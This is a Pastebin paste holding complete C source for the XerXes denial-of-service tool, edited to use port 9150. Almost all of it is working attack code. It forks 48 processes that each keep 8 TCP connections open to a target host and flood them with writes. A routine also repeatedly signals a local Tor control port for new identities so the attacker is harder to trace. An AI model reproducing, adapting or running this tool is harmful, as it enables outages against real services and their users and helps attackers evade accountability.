UHLI_REMO

XerXes - Edited port to 9150

Sep 14th, 2015
396
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.59 KB | None | 0 0
  1.  
  2.  
  3.  
  4.  
  5. /* XerXes - Most powerful dos tool - THN (http://www.thehackernews.com) */
  6.  
  7. #include <stdio.h>
  8. #include <stdlib.h>
  9. #include <string.h>
  10. #include <stdint.h>
  11. #include <unistd.h>
  12. #include <netdb.h>
  13. #include <signal.h>
  14. #include <sys/socket.h>
  15. #include <sys/types.h>
  16. #include <netinet/in.h>
  17. #include <arpa/inet.h>
  18.  
  19. int make_socket(char *host, char *port) {
  20. struct addrinfo hints, *servinfo, *p;
  21. int sock, r;
  22. // fprintf(stderr, "[Connecting -> %s:%s\n", host, port);
  23. memset(&hints, 0, sizeof(hints));
  24. hints.ai_family = AF_UNSPEC;
  25. hints.ai_socktype = SOCK_STREAM;
  26. if((r=getaddrinfo(host, port, &hints, &servinfo))!=0) {
  27. fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(r));
  28. exit(0);
  29. }
  30. for(p = servinfo; p != NULL; p = p->ai_next) {
  31. if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {
  32. continue;
  33. }
  34. if(connect(sock, p->ai_addr, p->ai_addrlen)==-1) {
  35. close(sock);
  36. continue;
  37. }
  38. break;
  39. }
  40. if(p == NULL) {
  41. if(servinfo)
  42. freeaddrinfo(servinfo);
  43. fprintf(stderr, "No connection could be made\n");
  44. exit(0);
  45. }
  46. if(servinfo)
  47. freeaddrinfo(servinfo);
  48. fprintf(stderr, "[Connected -> %s:%s]\n", host, port);
  49. return sock;
  50. }
  51.  
  52. void broke(int s) {
  53. // do nothing
  54. }
  55.  
  56. #define CONNECTIONS 8
  57. #define THREADS 48
  58.  
  59. void attack(char *host, char *port, int id) {
  60. int sockets[CONNECTIONS];
  61. int x, g=1, r;
  62. for(x=0; x!= CONNECTIONS; x++)
  63. sockets[x]=0;
  64. signal(SIGPIPE, &broke);
  65. while(1) {
  66. for(x=0; x != CONNECTIONS; x++) {
  67. if(sockets[x] == 0)
  68. sockets[x] = make_socket(host, port);
  69. r=write(sockets[x], "\0", 1);
  70. if(r == -1) {
  71. close(sockets[x]);
  72. sockets[x] = make_socket(host, port);
  73. } else
  74. // fprintf(stderr, "Socket[%i->%i] -> %i\n", x, sockets[x], r);
  75. fprintf(stderr, "[%i: Voly Sent]\n", id);
  76. }
  77. fprintf(stderr, "[%i: Voly Sent]\n", id);
  78. usleep(300000);
  79. }
  80. }
  81.  
  82. void cycle_identity() {
  83. int r;
  84. int socket = make_socket("localhost", "9150");
  85. write(socket, "AUTHENTICATE \"\"\n", 16);
  86. while(1) {
  87. r=write(socket, "signal NEWNYM\n\x00", 16);
  88. fprintf(stderr, "[%i: cycle_identity -> signal NEWNYM\n", r);
  89. usleep(300000);
  90. }
  91. }
  92.  
  93. int main(int argc, char **argv) {
  94. int x;
  95. if(argc !=3)
  96. cycle_identity();
  97. for(x=0; x != THREADS; x++) {
  98. if(fork())
  99. attack(argv[1], argv[2], x);
  100. usleep(200000);
  101. }
  102. getc(stdin);
  103. return 0;
  104. }
Advertisement
Add Comment
Please, Sign In to add comment